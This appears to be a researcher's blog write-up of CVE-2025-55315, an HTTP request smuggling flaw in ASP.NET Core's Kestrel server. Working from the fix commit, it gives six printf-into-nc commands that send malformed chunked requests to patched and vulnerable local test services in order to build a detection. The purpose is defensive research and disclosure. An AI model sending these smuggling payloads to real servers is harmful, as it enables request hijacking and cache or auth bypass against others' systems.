CVE-2025-55315, a 9.9 critical vulnerability in aspnetcore Kestrel webserver that allows for HTTP request/response smuggling was disclosed earlier this week. Very little information around the requirements for exploitability, as well as the actual potential impact or any public proof of concepts were not mentioned in any of the disclosures. Fortunately, this is an open source component, and the commit that fixes this vulnerability is super obvious.
Normally, I don't do dotnet, and I don't do HTTP smuggling, but this caught my interest this morning, so here is a brief writeup on some technical details around the vulnerability that are worth sharing before I move on from this.
The source code that backs the vulnerable component can be found here. We can see a super obvious commit with a really vague pull request that very clearly screams HTTP request smuggling. Fortunately, they were nice enough to include a test that gives us an HTTP request to play with to try to reproduce the smuggling behavior.

This gives us super clear behavior to test for to try to write a detection for this vulnerability against deployed services.
I threw together a vibe coded test environment with some tweaking and tinkering to get the dotnet versions correct. This runs two services, one on a patched version of Kestrel, one on an old vulnerable version. We can see if our reversed HTTP payloads from the commit test actually lead to measurably different behavior against them.
You can find the code to spin these services up here.

I was able to get some working detections that lead to different behavior for HTTP 1.1 without TLS. I cannot get the socket closure based ones working with ncat --ssl or openssl s_client. I'm not even sure if I'm measuring the right thing, but I want to get this out because it might be helpful for someone that knows and cares what is going on here to have a better jumping off point.

printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
Someone should go work out what an actually good, stable, production detection looks like based on this information, as well as if there are any usable generic cases for exploiting this in practice. An ideal detection would work preauth on GET / over TLS, and not require a POST route like the example proof of concept.